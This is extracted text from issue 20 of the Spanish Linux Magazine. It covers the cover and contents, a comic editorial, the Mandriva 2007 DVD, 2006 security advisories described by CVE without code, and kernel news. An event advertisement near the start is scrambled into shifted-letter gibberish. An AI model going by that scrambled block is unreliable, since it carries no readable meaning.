Trails LINUX MAGAZINE
Aplicaciones exprés con el Rails para Java p44
Edición en Castellano
Free Mandriva Linux 2007 Incluye versiones de 32 y 64 bits
NÚMERO 20
Soporte para escritorios 3D Más de 4 GBs de software
NÚMERO 20 • P.V.P 6,95 € Navegación Segura
Cómo evitar que te cacen
NAVEGACIÓN
Realtime Tor y Privoxy
Phishing: cómo funciona, cómo eludirlo p21 Navegación anónima con Tor y Privoxy p26 P2P secreto con Antsp2p p29
Antsp2p
SEGURA
Audio con JACK Sonido profesional en el escritorio p68
RAID explicado La mejor tolerancia a fallos al mejor precio p39
Samba 4
Greenstone
JACK
Organización de documentos en bibliotecas p34
Trails RAID
Samba 4
Xrmap
La integración total en redes Windows p60
Superusuarios OP
Cold War
Greenstone
Un fotógrafo tras el telón de acero p86
WWW.LINUX- MAGAZINE.ES
Python Plugins Web 2.0 para GIMP p49
-JOVY8PSME $POGFSFODF &YQP o
8PSMEXJEF 4FSJFT 6USFDIU
0DUPCFS o
XXX MJOVYXPSMEFYQP OM
-POEPO
0DUPCFS o
XXX MJOVYXPSMEFYQP DP VL
$PMPHOF
/PWFNCFS o
XXX MJOVYXPSMEFYQP EF
(VBOH[IPV
/PWFNCFS o
XXX MJOVYXPSMEDIJOB DPN
/FX :PSL
'FCSVBSZ o
XXX MJOVYXPSMEFYQP DPN
.FYJDP $JUZ
'FCSVBSZ o .BSDI XXX MJOVYXPSMEFYQP DPN NY
5PSPOUP
"QSJM o .BZ
XXX MXOXFYQP QMVNDPN DB
.BESJE
"QSJM
XXX MJOVYXPSMETVNNJU DPN FT
+PIBOOFTCVSH
.BZ
XXX MJOVYXPSMEFYQP DPN [B
.JMBO
.BZ
XXX MJOVYXPSMETVNNJU JU
4BP 1BVMP
.BZ
XXX MJOVYXPSMEFYQP DPN CS
4FPVM
+VOF
XXX MJOVYXPSMELPSFB DPN
4BO 'SBODJTDP
"VHVTU o
XXX MJOVYXPSMEFYQP DPN
4UPDLIPMN
4FQUFNCFS
XXX MJOVYXPSMETVNNJU TF
6USFDIU
0DUPCFS
XXX MJOVYXPSMEFYQP OM
8PSME T MFBEJOH 5SBEF &WFOU GPS -JOVY BOE 0QFO 4PVSDF JO CVTJOFTT
*/5&3/"5*0/"- .&%*" 410/403
EDITORIAL
DÓNDE NOS EQUIVOCAMOS Estimado Lector de Linux Magazine sí que nos fuimos a 1985. Habíamos hecho los deberes y durante los meses precedentes nos habíamos cardado el pelo, cosido extensiones a los cuellos de las camisas y desollado un viejo sofá de skai rojo que encontramos en el sótano del laboratorio para hacernos cazadoras. Nuestro camuflaje era perfecto. Para estar preparados psicológicamente, habíamos descargado todos los LPs de Duran Duran, aprendido los pasos para resolver el cubo de Rubik en un tiempo razonable y empollado todas las entregas de “Karate Kid” . Estábamos listos. El profesor Brown nos había advertido sobre los peligros que entrañaba interferir en el pasado, pero tanto Z como yo coincidimos en privado en que, si se mira pero no se toca ¿qué gracia podría tener? Así que cuando a las 12 del mediodía del 21 de noviembre de 1985 entramos en la cafetería y vimos al chaval limpiando pantalla tras pantalla de Pac-Man, creímos haber encontrado el candidato ideal para nuestro experimento. Una discreta entrevista nos reveló que, el sujeto en cuestión, de nombre Karl, estudiaba una ingeniería, tenía acceso a los PCs de su facultad y era el orgulloso dueño de un Commodore 64. No había duda: era nuestro hombre. Nuestro razonamiento era que, si conseguíamos convencer a otro geek, aparte de RMS, de las bondades del modelo FLOSS, pues que, bueno, podríamos incrementar los apóstoles del movimiento en un 100% de un solo golpe. Convencimos a Karl de que nos acompañara a nuestro cronopuerto (camuflado en un Delorean DMC12 modificado). Pensamos que si devolvíamos al sujeto al mismo lugar unos momentos después de nuestra
A
Nos sentimos orgullosos de nuestros orígenes como publicación, que se remonta a los primero días de la revolución Linux. Nuestra revista hermana, la publicación alemana Linux Magazine, fundada en 1994, fue la primera revista dedicada a Linux en Europa. Desde aquellas tempranas fechas hasta hoy, nuestra red y experiencia han crecido y se han expandido a la par que la comunidad Linux a lo ancho y largo del mundo. Como lector de Linux Magazine, te unes a una red de información dedicada a la distribución del conocimiento y experiencia técnica. No nos limitamos a informar sobre el movimiento Linux y de Software Libre, sino que somos parte integral de él.
partida de 1985, no se podría considerar secuestro. Si el experimento tenía éxito, reclutaríamos a más y más geeks de la época con el fin de que el movimiento tuviera una comunidad incluso antes de su popularización, dándonos unos años de ventaja sobre otros modelos de desarrollo. Elegimos los años ochenta por ser la década en la que se empezó a popularizar la informática doméstica y en la que creíamos que habría un caldo de cultivo apropiado donde atrapar espécimenes con la mentalidad apropiada para nuestros fines. Qué equivocados estábamos. Nuestro primer chasco fue, ya de vuelta en el 2006, al notar la cara de nerviosa anticipación y el cuidado con el que se abrochaba el cinturón de seguridad cuando nos disponíamos a trasladar al sujeto desde el edificio de Investigaciones Metadimensionales al Centro de Cálculo de la Universidad. ”¿Qué te pasa?” Le preguntó Z. “Me estoy preparando para el despegue” dijo, con los labios fruncidos. Su decepción fue patente cuando mi Fiat Tipo salió rodando del aparcamiento sin levantar el vuelo. A los pocos minutos de viaje, su cara de preocupación no le había abandonado. ”¿Estás bien?” dije, examinándole por el retrovisor. “Sí, claro. Pero ¿porqué nadie lleva su uniforme?” inquirió, examinando a los numerosos alumnos que paseaban por el campus a esas horas. Z fue más rápido que yo. “Día de lavandería” aseveró. ”¡Ah!”, pero Karl no parecía convencido. Una vez en el centro, nos sentamos con él delante de una máquina
WWW.LINUX- MAGAZINE.ES
dispuesto a iniciarle en las maravillas de Linux. Representamos para él toda la función: instalación, configuración, manejo. Elegimos una distro agnóstica para que no tuviera una predilección por distribuciones comerciales cuando éstas surgieran en su línea temporal. La pantalla TFT y el ratón óptico parece que le impresionaron, pero la desilusión le llegó pronto cuando se dio cuenta de que tenía que teclear en vez de simplemente enunciar instrucciones en voz alta. Notamos que le perdíamos definitivamente cuando nos pusimos a configurar con cat, less y vi. “Esto es tan 1970”, suspiró en un momento dado. Nos habíamos equivocado. En vez de enseñarle la esencia de Linux, debimos habernos centrado en reproducción de DVDs, Linux en PDAs y móviles y escritorios con XGL. Pero ya era tarde. Cada minuto que Karl pasaba en nuestra época nos ponía más y más en peligro de que alguien lo descubriera. De vuelta en el cronopuerto y justo antes de partir, Karl se giró hacia nosotros y con una expresión atribulada nos dijo: “Pero, una cosa, ¿es que no habéis oído hablar de algo nuevo, una cosa llamada… Windows?”
Paul C. Brown Director
Número 20
3
CONTENIDOS • Linux Magazine nº 20
PORTADA 17 Especial Navegación Segura ¿Sabes lo suficiente para navegar a salvo de bucaneros y maleantes? Este mes os mostramos cómo mantenerse alejado de todo tipo de trampas.
21 Phishing y Pharming Los pharmers y los phishers van tras nuestra valiosísima información financiera. Mostramos cómo proteger nuestros intereses.
26 Privoxy y Tor La dirección IP del usuario permite a las empresas recopilar información para elaborar un perfil de sus actividades en Internet. Tor y Privoxy pueden ayudarle a proteger su privacidad.
EVALUACIÓN 33 Libros O’Reilly se caracteriza por ser una editorial que, además de publicar libros convencionales sobre tecnología y en especial sobre informática, gusta de romper moldes y tomar riesgos en cuanto a formatos y contenidos. Esto, como veremos, puede ser bueno y puede ser malo.
PRÁCTICO
DESARROLLO 44 Trails: Rails para Java Vamos a crear aplicaciones Java en una fracción del tiempo normal de desarrollo con el potente (y libre) entorno de trabajo Trails.
49 Python: Plugins GIMP La moda rige el diseño, y la moda ahora mismo es que todas las cajas de texto en la Web tengan las esquinas redondeadas. Python puede ayudarnos a simplificar esta tarea.
34 Greenstone Greenstone es un conjunto de herramientas que pueden ser usadas para la construcción de nuestras propias bibliotecas digitales de manera rápida y flexible.
39 RAID Explicado 29 Antsp2p Compartir archivos es el pasatiempo favorito de muchos usuarios de Internet. Las aplicaciones convencionales para compartir archivos no son anónimas. El proyecto Antsp2p cambia esto.
LINUX MAGAZINE 3 6 8 10 12 14 94 94 95 97 98
4
Editorial DVD Linux Magazine Inseguridades Noticias Kernel Productos Correo Eventos Información de Contacto Subscripciones Linux Local Próximo Número
Número 20
Linux ofrece varias opciones para conseguir la promesa RAID de accesos rápidos al disco duro y de seguridad de datos.
42 Linkchecker Si se busca una forma rápida de cazar enlaces de un sitio Web que no llevan a ninguna parte, entonces hay que probar Linkchecker.
54 Perl: Nagios Podemos crear un plugin en Perl para aprovechar la potencia de la herramienta de monitorización Nagios.
ADMINISTRACIÓN
59 Charly: Cancerbero Cuando los puertos de un equipo empiezan a abrirse y cerrarse como ventanas lanzadas al viento, es hora de que los administradores presten atención.
WWW.LINUX- MAGAZINE.ES
ADMINISTRACIÓN 60 Samba 4 A finales de enero se publicó una versión técnica previa de Samba 4. Vamos a echarle un vistazo a lo que nos trae esta nueva versión del servidor de ficheros Samba.
64 Superusuario con OP La herramienta OP es una alternativa a sudo poco conocida, con el beneficio añadido de simplificar la configuración, que presenta una solución más intuitiva para ejecutar comandos con (algunos) privilegios de root.
LINUX USER 68 Audio con JACK El servidor de audio JACK ofrece una alternativa profesional para el sonido del escritorio Linux.
74 Desktopía: Xrmap Si deseas llegar a convertirte en un experto en geografía mundial ayúdate con la CIA.
76 Banshee En la mitología celta, las llamadas de duelo del Banshee se oyen cuando un miembro de la familia está próximo a morir. La herramienta Banshee de Linux también hace ruido, pero afortunadamente mucho más alegre. Este otro Banshee te ayuda a organizar (y reproducir) tu colección de música.
LINUX USER 79 Trabajo en Equi/PO En la primera entrega de esta serie hemos hablado de la tecnología gettext; ahora es el momento de resumir sus ventajas pero también de señalar sus defectos. Qué triste sería el artículo si no pudiéramos hablar también de las soluciones, de las alternativas...
84 Línea de comandos: rsync Rsync permite sincronizar datos tanto en un ordenador local como en uno remoto. Incluso puede ser usado con SSH para la encriptación de datos. Descubre cómo funciona.
■ Free Mandriva Linux 2007 ■ 4,4 GB de software ■ Versiones de 32 y 64 bits ■ Instalación asistida ■ Escritorios avanzados: efectos 3D y transparencias ■ Preparado para Web 2.0 ■ Blogging, podcasting y administración de contenidos
86 Juegos: Cold War El género del sigilo se estrena en nuestra plataforma Linux y lo hace realmente a lo grande con el fotógrafo surgido del frio, Matt Carter en Cold War.
MÁS DETALLES EN LA Pág 6
COMUNIDAD 88 Konsultorio Si tienes algún problema de configuración, o simplemente quieres conocer mejor cómo funciona Linux, Klaus Knopper, el creador de Knoppix, te ayuda. Este mes: cuelgues, ratones USB e impresoras.
91 Opinión Jose María Lancho, abogado de Legalventure, nos advierte de los peligros y tretas de los lobbies pro-patentes.
WWW.LINUX- MAGAZINE.ES
Número 20
5
DVD LINUX MAGAZINE
… Y en el DVD de Linux Magazine
MANDRIVA 2007 M
andriva, la distribución conocida anteriormente como Mandrake, es una de las distros de solera, una distro de cuando sólo había un puñado y, en palabras de su fundador Gael Duval, “Slackware venía en 50 diskettes”. La primera versión de Mandrake apareció en junio de 1998 y respondía a la idea de Duval de crear una distro que “tuviera el potencial de ser una alternativa a Windows, incluso de ser un sustituto completo de Windows”. De hecho, su objetivo siempre fue crear una que fuese incluso más fácil de utilizar que Windows. Esta filosofía llevó a los artífices del entonces Mandrake a la creación de un centro de control que permitía administrar el sistema a través de múltiples asistentes y que pudiera controlar desde la instalación de software hasta la configuración de un escáner en red. A pesar de las facilidades que Mandriva ponía a disposición del usuario, nunca se sacrificaron ni la flexibilidad ni la potencia del sistema, siendo un SO que funciona igualmente bien como sistema de escritorio, como servidor o como filtro de seguridad, existiendo versiones específicas para cada usuario y cada entorno.
El software Mandriva tiene una activa comunidad de usuarios, lo que le asegura una ingente cantidad de software. En la versión que nos ocupa, Mandriva Linux Free 2007, aparte de venir con las versiones más recientes de las aplicaciones a los que nos tienen acostumbrados las distros mayoritarias (OpenOffice 2.0.3, Gimp 2.3.10, Kaffeine 0.8.1 y Firefox 1.5.0.6) y los asistentes que facilitan la administración del
Requisitos del Sistema CPU: Cualquier procesador Pentium y AMD, i586 o superior RAM: 256 MB mínimo, 512 recomendado
sistema (harddrake 10.4.65, rpmdrake 3.1.1 y userdrake 1.2.4), tenemos a nuestra disposición software típico de Mandriva, pero que no suele encontrarse en los DVDs de otras distros, como por ejemplo, el configurador de firewalls basado en IP Tables, Shorewall (versión 3.2.3) o el excelente software para la creación de música, Rosegarden (versión 4-1.2.3). Asimismo, el DVD de Linux Magazine incluye las versiones tanto de 32 como de 64 bits de este sistema operativo, haciendo más sencilla la instalación de Mandriva en máquinas de ambas arquitecturas.
Preparado para 3D Una de las mayores novedades de Mandriva 2007 es que es la primera distro que incluye de serie muchas de las novedades que se convertirán (imaginamos) en habituales en los escritorios del futuro. Mandriva incluye
soporte para escritorios 3D, renderizado aleatorio de widgets (lo que permite, por ejemplo, que las ventanas ondeen al moverlas) y verdaderas transparencias. Hay que advertir, sin embargo, que estas características tienen su lado negativo: suelen ser muy glotonas con los recursos del sistema y sólo funcionan de manera ágil con máquinas que dispongan de potentes tarjetas gráficas (ver cuadro Requisitos del sistema).
Instálalo Ya Mandriva es una de las distros más populares en todo el mundo. Su solidez, facilidad de uso y flexibilidad garantizan una experiencia de usuario sobresaliente a quienes la utilizan. Tanto si se requiere un completo sistema ofimático, como un firewall o un servidor web, el DVD de Mandriva le proporciona todo lo que necesita. Pruébelo ya.
Más software Es práctica común, tarde o temprano, que el usuario habitual de cualquier distro no encuentre en su DVD el paquete que necesita. ¿Qué hacer? Acudir a los repositorios en Internet. Pero en vez de bajarse el paquete directamente al disco duro e instalar, lo más inteligente es dejar que urpmi, el programa encargado de instalar y configurar los programas, haga el trabajo sucio. Para ello hemos de configurar urpmi para que, no sólo busque paquetes en el disco duro, sino que también los busque en los repositorios FTP distribuidos a lo largo y ancho del globo. Esto se puede hacer de diversas maneras, pero la más sencilla es a través de la línea de comandos con EasyUrpmi. A pesar de lo que pudiera parecer, EasyUrpmi no es una aplicación instalada en nuestra máquina, sino un servicio web y, para utilizarlo, no hay más que acercarse a la página http://easyurpmi.zarb.org/, escoger la versión, la arquitectura de nuestro ordenador, y el tipo de asistente de instalación (urpmi o smart, aunque recomendamos urpmi) de las listas desplegables. A continuación pulsamos en “Proceed to step 2” (Proceder a paso 2) para seleccionar la localización geográfica del lugar del que vamos a descargar los paquetes. Se recomienda, en aras de la rapidez, seleccionar un servidor “cerca de casa”. Por ejemplo, hay un servidor (ftp.cica.es) localizado en Sevilla, que es ideal para los usuarios españoles. Una vez seleccionados los servidores para cada uno de los repositorios, pulsamos en “Proceed to step 3”. En este paso, EasyUrpmi proporciona los comandos que hemos de introducir (como root) en la línea de comandos para actualizar la lista de repositorios. Como estas instrucciones son un poco largas y pueden teclearse incorrectamente, lo suyo es copiarlas al porta-papeles para luego pegarlas en un terminal.
Espacio en disco: 2 GB mínimo, 4 GB recomendado
• Seleccionamos el texto que nos muestra EasyUrpmi y pulsamos [Ctrl]+[C].
Tarjeta gráfica: NVIDIA (soporta SLI), ATI, Intel i8xx y i9xx, SIS, Matrox, VIA. El escritorio 3D requiere NVIDIA GeForce o superior, ATI Radeon 7000 o superior, o Intel i830 a i945.
• Pulsamos [Ctrl]+[Shift]+[Ins] para pegar el texto en la línea de comandos.
Serial ATA: La mayoría de los controladores soportados en modo no-RAID y algunos en modo RAID.
6
Número 20
• Abrimos una consola (por ejemplo konsole) y nos hacemos root con su. • Comienza el proceso de descarga de listas de paquetes. Al ser bastante voluminoso, puede tardar un rato. Puede que necesite pulsar [Enter] al finalizar para validar la última entrada que nos ofrece EasyUrpmi. • Salimos del modo root escribiendo exit. La próxima vez que arranquemos nuestro asistente de instalación de software comprobaremos que el número de paquetes disponibles ha aumentado sensiblemente.
WWW.LINUX- MAGAZINE.ES
DVD LINUX MAGAZINE
SOFTWARE Sistema • Kernel 2.6.17 • GCC 4.1.1 • Xorg 7.1.0 Escritorios • KDE 3.5.4 • Gnome 2.16 Ofimática e Internet • OpenOffice 2.0.3 • Koffice 1.5.90 • Firefox 1.5.0.6 • Thunderbird 1.5.0.5 • Kmail 3.5.4 • Evolution 2.8.0 • Gaim 2.0.0 Multimedia y gráficos • Gimp 2.3.10 • Kaffeine 0.8.1 • K3b 0.12.17 • Rythmbox 0.9.5 3D • Xgl 0.0.1
… Y más software Como viene siendo habitual en este extraño mundo de absurdas legalidades y licencias truculentas, las distros comerciales no pueden ofrecer todo el software disponible por miedo a incurrir en infracciones de triviales patentes o de violar alguna retorcida ley diseñada para favorecer a cierta manipuladora oligarquía. El tipo de software excluido por mandato judicial incluye cosas tan pedestres como librerías que decodifican DVDs (comprados legalmente) para su visionado o programas que permiten la transferencia de ficheros entre pares, aunque dichos ficheros sean las fotos de las vacaciones. Como usuarios, podemos elegir el software que nos instalemos, y otros usuarios, como no puede ser de otra manera en una comunidad donde una de las premisas es ayudarse mutuamente, nos lo pone fácil. Para Mandriva existe la Penguin Liberation Front (http://plf.zarb. org/) un grupo de voluntarios que se dedican a empaquetar y poner en sus servidores los paquetes prohibidos a Mandriva por las corporaciones que pretenden controlar nuestros derechos. Es un sitio que vale la pena visitar.
Figura 1: El completo panel de Mandriva nos muestra todas las opciones de configuración disponibles.
Figura 2: Mandriva posee un menú para las aplicaciones muy elaborado e intuitivo.
WWW.LINUX- MAGAZINE.ES
Número 20
7
LINUX USER INSEGURIDADES Schlagwort sollte hier stehen
INSEGURIDADES ■ PHP PHP es un lenguaje de scripting embebido en HTML usado frecuentemente con el servidor Web HTTP de Apache. La función phpinfo() de PHP no sanitiza adecuadamente las cadenas largas. Un atacante podría usar esto para llevar a cabo ataques de scripting multisitio contra sitios que tienen scripts PHP disponibles públicamente y que llaman phpinfo(). (CVE-2006-0996). Se ha encontrado que la función PHP html_entity_decode() no es segura a nivel
binario. Un atacante podría usar este fallo para revelar una parte de la memoria del servidor atacado. Con objeto de que este problema sea explotable, el sitio de destino necesitaría tener un script PHP que llamara a la función html_entity_decode() con una entrada que no filtrase por confianza del usuario y presentara los resultados. (CVE2006-1490). Se ha encontrado que la salida de error de PHP no escapa correctamente HTML en algunos casos. Un atacante podría usar este fallo para realizar ataques de scripting
POLITICAS DE SEGURIDAD DE LAS DISTRIBUCIONES MAYORITARIAS Distribuidor
Fuente Seguridad
Debian
Info:http://www.debian.org/security/ Lista:http://www.debian.org/debian-security-announce/ Referencia:DSA-…1)
Gentoo
Mandrake
Red Hat
Slackware
Suse
Comentario
Los avisos de seguridad actuales se incluyen en la página de inicio. Los avisos se proveen como páginas HTML con enlaces a los parches. Los avisos también incluyen una referencia a la lista de correo. Info:http://www.gentoo.org/security/en/index.xml Los avisos de seguridad actuales para Foro:http://forums.gentoo.org/ la lista Gentoo en el sitio web de Lista:http://www.gentoo.org/main/en/lists.xml seguridad de Gentoo enlazan desde la Referencia:GLSA:… 1) página principal. Los avisos se presentan en HTML con códigos para fusionar las versiones corregidas. Info:http://www.mandrakesecure.net Mandrakesoft posee su propios sitio web Lista:http://www.mandrakesecure.net/en/mlist.php que versa sobre temas relacionados con Referencia:MDKSA:… 1) la seguridad. Entre otras cosas,incluye avisos seguridad y referencias a las listas de correo. Los avisos son páginas HTML,pero no contienen enlaces a los parches. Info:http://www.redhat.com/errata/ Red Hat archiva los fallos de seguridad Lista:http://www.redhat.com/mailman/listinfo/ bajo lo que denominan erratas. A Referencia:RHSA-… 1) continuación los problemas para cada versión de Red Hat se agrupan. Los avisos de seguridad se proveen como una página HTML con enlaces a los parches. Info:http://www.slackware.com/security La página de inicio contiene enlaces al Lista:http://www.slackware.com/lists/(slackware-security) archivo de seguridad de la lista de correo. Referencia:[slackware-security]… 1) No existe información adicional sobre seguridad en Slackware. Info:http://www.suse.de/en/private/support/ Ya no existe un enlace a la página de security/index.html seguridad tras un remodelado en el sitio Parches:http://www.suse.de/en/private/ web de SuSE. Existe información en la download/updates Lista:suse-security-announce lista de correos y los avisos. Los parches de Referencia:SUSE-SA… 1) seguridad para versiones individuales de SuSE Linux se muestran de color rojo en el sitio de actualizaciones generales. Contiene una corta descripción de la vulnerabilidad que soluciona el parche.
1) Todos los distribuidores muestran correos de seguridad en el campo Subject.
8
Número 20
WWW.LINUX- MAGAZINE.ES
multisitio contra sitios donde están habilitados tanto display_errors como html_errors. (CVE-2006-0208). Se ha encontrado un error en la validación de la entrada en la función “mb_send_mail()”. Un atacante podría usar este fallo para inyectar cabeceras arbitrarias en un correo enviado vía script llamando a la función “mb_send_mail()” donde el parámetro “To” puede ser controlado por el atacante. (CVE-2005-3883). Se descubrió un fallo de desbordamiento de búfer en uw_imap, el Servidor IMAP de la Universidad de Washington. php-imap está compilado contra las librerías de cclient estáticas desde imap y además necesita ser recompilada contra la versión fijada. ■ Referencia Gentoo:GLSA-200605-08 Referencia Mandriva:MDKSA-2006:074 Referencia Red Hat: RHSA-2006:0276-9 Referencia Suse: SUSE-SA:2006:024
■ Xorg-X11 Xorg es una implementación de código abierto de un sistema X Window. Proporciona la funcionalidad de bajo nivel básica de las que hacen uso interfaces de usuario gráficas como GNOME y KDE. Se ha descubierto un fallo de desbordamiento de búfer en la extensión RENDER del servidor Xorg. Un cliente autorizado malicioso podría explotar este problema y causar una denegación de servicio (colgar el sistema) o ejecutar código arbitrario potencialmente con privilegios de superusuario en el servidor Xorg. (CVE-2006_1526). ■ Referencia Gentoo: GLSA-200605-02 Referencia Mandriva:MDKSA-2006:081 Referencia Red Hat: RHSA-2006:0451-9 Referencia Slackware: SSA:2006-123-01 Referencia Suse: SUSE-SA:2006:023
■ ClamAV ClamAV es un escáner de virus con licencia GPL. ClamAV contiene vulnerabilidades de formato código de registro (CVE-2006-1615).
INSEGURIDADES
Además, Damian Put descubrió un desbordamiento de número entero en el analizador cabeceras de PE de ClamAV (CVE-2006-1614) y David Luyer descubrió que ClamAV puede ser inducido fraudulentamente a que lleve a cabo un acceso de memoria inválido. (CVE-2006-1630). Mediante el envío por correo de un adjunto malicioso a un servidor de correo ejecutando ClamAV, un atacante remoto podría causar una Denegación de Servicio o la ejecución de código arbitrario. Obsérvese que el desbordamiento en el analizador del encabezamiento PE solamente es explotable cuando se encuentra deshabiliatda la opción Archive-MaxFileSize. Ulf Härnhammar y un investigador anónimo alemán descubrieron una vulnerabilidad en el código del protocolo de freshclam, una utilidad de la línea de comandos responsable de la descarga e instalación de las actualizaciones de las firmas de virus para ClamAV. Esto podría llevar a una denegación de servicio o potencialmente a la ejecución de código arbitrario. Referencia Debian: DSA-1050-1 Referencia Gentoo: GLSA 200604-06, GLSA 200605-03 Referencia Mandriva:MDKSA-2006:080 Referencia Suse: SUSE-SA:2006:020
Mozilla, Firefox y Thunderbird Mozilla es un navegador web de código abierto, cliente de correo, cliente de grupos de noticias, cliente de chat IRC y editor HTML. Mozilla Firefox es un navegador web de código abierto. Mozilla Thunderbird es un cliente de correo electrónico y de grupos de noticias independiente. Los expertos han encontrado varios problemas de seguridad relacionados con la suite de Mozilla. Estos problemas también se aplican a herramientas tales como al navegador Firefox y al cliente de correo Thunderbird, basados ambos en Mozilla. Se han encontrado algunos fallos en la manera en la que Mozilla procesa código javascript malformado. Una página web maliciosa podría modificar el contenido de una página web abierta diferente, posiblemente robando información sensible o iniciando un ataque de scripting multisitio. (CVE-2006-1731, CVE-20061732, CVE-2006-1741).
Han sido encontrados algunos errores en la manera en la que Mozilla procesa ciertos fragmentos de javascript. Una página web maliciosa podría ejecutar instrucciones javascript arbitrarias con los permisos de “chrome”, permitiendo que la página robe información sensible o instale software dañino. (CVE-2006-1727, CVE-2006-1728, CVE-2006-1733, CVE2006-1734, CVE-2006-1735, CVE-2006-1742). Se han encontrado algunos fallos en la manera en la que Mozilla procesa páginas web malformadas. Un atacante, con una página web maliciosamnete manipulada, podría causar la ejecución de código arbitrario con los privilegios del usuario ejecutando Mozilla. (CVE_2006-0748, CVE_2006-0749, CVE_2006-1730, CVE2006-1737, CVE_2006-1738, CVE-2006-1739, CVE-2006-1790). Se ha encontrado un error en la manera en la que Mozilla presenta el icono del sitio seguro. Si un navegador se configura para presentar por defecto el diálogo de aviso modal de sitio seguro, puede ser posible engañar al usuario haciéndole creer que está viendo un sitio seguro. (CVE-20061740). Se ha encontrado un fallo en la manera en la que Mozilla permite eventos de mutación javascript en elementos de entrada de formularios. Se podría crear una página web maliciosa de tal modo que cuando un usuario presenta una formulario, un fichero arbitrario podría ser cargado por el atacante. (CVE_2006-1729). Se ha encontrado un fallo en la manera en la que Mozilla ejecuta el reenvío de correo en línea. Si un atacante puede inducir a un usuario a que mande en línea un mensaje de correo maliciosamente manipulado, es posible que el mensaje ejecute javascript con los permisos de “chrome”. (VCVE_2006-0884). Referencia Debian: DSA-1046-1 Referencia Gentoo: GLSA-200605-09 Referencia Mandriva: MDKSA-2006:075, MDKSA-2006:078 Referencia Red Hat: RHSA-2006:0328-15, RHSA-2006:0329-13, RHSA-2006:0330-15 Referencia Slackware: SSA:2006-120-01 Referencia Suse: SUSE-SA:2006:021, SUSE-SA:2006:022
WWW.LINUX- MAGAZINE.ES
Kernel Linux El kernel Linux maneja las funciones básicas del sistema operativo. Informes recientes han puesto de manifiesto los siguientes problemas: •
Un fallo en la implementación IPv6 permite a un usuario local causar una denegación de servicio (bucles infinitos y cuelgues) (CVE-2005-2973, importante) • un fallo en la implementación puente permite a un usuario remoto causar el envío de paquetes spoof a través envenenamiento de la tabla de envío con frames caídos previamente. (CVE2005-3272, moderado) • un fallo en el módulo atm permite a un usuario local causar una denegación de servicio (pánico) a través ciertas llamadas a socket (CVE-20053359, importante) • un fallo en la implementación del cliente NFS permite a un usuario local causar una denegación de servicio (pánico) a través de escrituras ODIRECT (CVE-2006-0555, importante) • una diferencia en la operación “sysretq” de los procesadores EM64T (a diferencia de lo que ocurre en los Opteron) permite a un usuario local causar una denegación de servicio (el sistema se cae) con el retorno de ciertas llamadas del sistema (CVE-2006-0741 y CVE-2006-0744, importante) • un fallo en la implementación keyring permite a un usuario local causar una denegación de servicio (OOPS) (CVE2006-1522, importante) • un fallo en la implementación enrutado IP permite a un usuario local causar una denegación de servicio (pánico) a través de una petición para una ruta para una IP multicast (CVE2006-1525, importante) • un fallo en la implementación SCTPnetfilter permite a un usuario remoto causar una denegación de servicio (bucle infinito) (CVE-2006-1527, importante) • un fallo en el driver sg permite a un usuario local causar una denegación de servicio (el sistema se culega) a través una transferencia dio a espacio E/S de memoria mapeada (nmap) (CVE-2006-1528, importante) Referencia Red Hat: RHSA-2006:0493-6
Número 20
9
LINUX USER NOTICIAS DEL KERNEL Schlagwort sollte hier stehen
NOTICIAS DEL KERNEL ESTADO DEL 2.4 Y ESTABILIDAD El árbol 2.4 del kernel de Marcello Tosatti está en un profundo estado de mantenimiento al haberse detenido la portación inversa de código para drivers de la rama 2.6. Con el desarrollo del árbol 2.4 virtualmente parado y el árbol 2.6 siguiendo su desarrollo, las cuestiones concernientes a la estabilidad no pueden más que volver a surgir una y otra vez. Si bien se espera que las distribuciones de Linux se hagan responsables de la mayor parte del proceso de estabilización de sus propios kernels, y dados los intentos del árbol w.x.y.z para acercar cada lanzamiento del kernel a una mayor estabilidad, estos esfuerzos van más bien encaminados a mejorar el tiempo de conexión sin preocuparse del comportamiento general del kernel. A medida que el 2.6 continúa desarrollándose cambia sus interfaces, lo que obstaculiza el desarrollo de terceros para escribir software que funcione de manera fiable en toda la gama de versiones 2.6. Este problema puede agravarse a medida que transcurra el tiempo, hasta que surja algo tan bueno como el antiguo ciclo de desarrollo de par/impar.
ESTADO DE DEVFS Greg Kroah-Hartman continúa con su campaña para eliminar DevFS del kernel. Desde el lanzamiento del kernel 2.6.13, la opción de activar DevFS no ha estado disponible para los usuarios, aunque parece que nadie se ha lamentado por ello. Desde entonces, Greg ha
remitido parches para todas las versiones del kernel principales, parches que eliminan el código DevFS completamente. Y acaba de hacer lo mismo para la versión 2.6.16… Andrew Morton ha aceptado el cambio también en su serie -mm. Está claro que DevFS se va a eliminar tarde o temprano, y aunque no lo haga de la versión 2.6.16, sí lo hará en un futuro próximo. Pero, aparentemente, siempre quedará un residuo de él en el kernel, en el fichero de la documentación /ioctl-number.txt. La existencia de DevFS debe registrarse ahí como evidencia de haber utilizado sus números ioctl, para que puedan ser reutilizados por cualquier otra cosa en el futuro. Como parte de la transición de DevFS, Greg continúa manteniendo su muy pequeña alternativa , ndevfs.
ESTADO DE KLIBC H. Peter Anvin ha llevado klibc hasta el nivel de estabilidad en el que considera que está maduro para su inclusión en el kernel. Este proyecto pretende crear un libc muy pequeño, lo bastante pequeño como para ser incluido en el mismo binario del kernel y que esté disponible en situaciones en las que el libc mayor no esté accesible. Hay varios grupos que están muy contentos con el progreso de este proyecto y muestran mucho interés en probar y portar el código. Uno de los aspectos más interesantes de este proyecto es, según indicó Antonio Vargas, que el kernel de Linux está evolucionando poco a
La lista de correo del kernel de Linux comprende lo principal de las actividades de desarrollo de Linux. El volumen del tráfico es inmenso, alcanzándose a menudo los diez mil mensajes semanales. Mantenerse al día de todo lo que sucede en el desarrollo del kernel es casi imposible para una sola persona. Sin embargo Zack Brown es uno de los pocos valientes que lo intentan y a partir de ahora, podrá leerse lo último de las discusiones y decisiones con respecto del kernel de Linux llevados de la mano de este experto. Zack ha publicado un resumen online semanal llamado “The Kernel Traffic Newsletter” durante cinco años. Linux Magazine te trae ahora la quintaesencia de las actividades del kernel de Linux del mayor especialista en el tema.
10
Número 20
WWW.LINUX- MAGAZINE.ES
poco hacia una arquitectura más modular, haciéndose hueco en el espacio de usuario de una manera casi microkernelesca. Linux Torvalds comentó algo sobre esto hace unos años, diciendo que le gustaría ver rutas de comunicación cada vez más formales dentro del kernel para crear una estructura cada vez más modular e independiente, pero que no estaba dispuesto a asumir los sacrificios en eficiencia que asumen los que abogan por un micro-kernel.
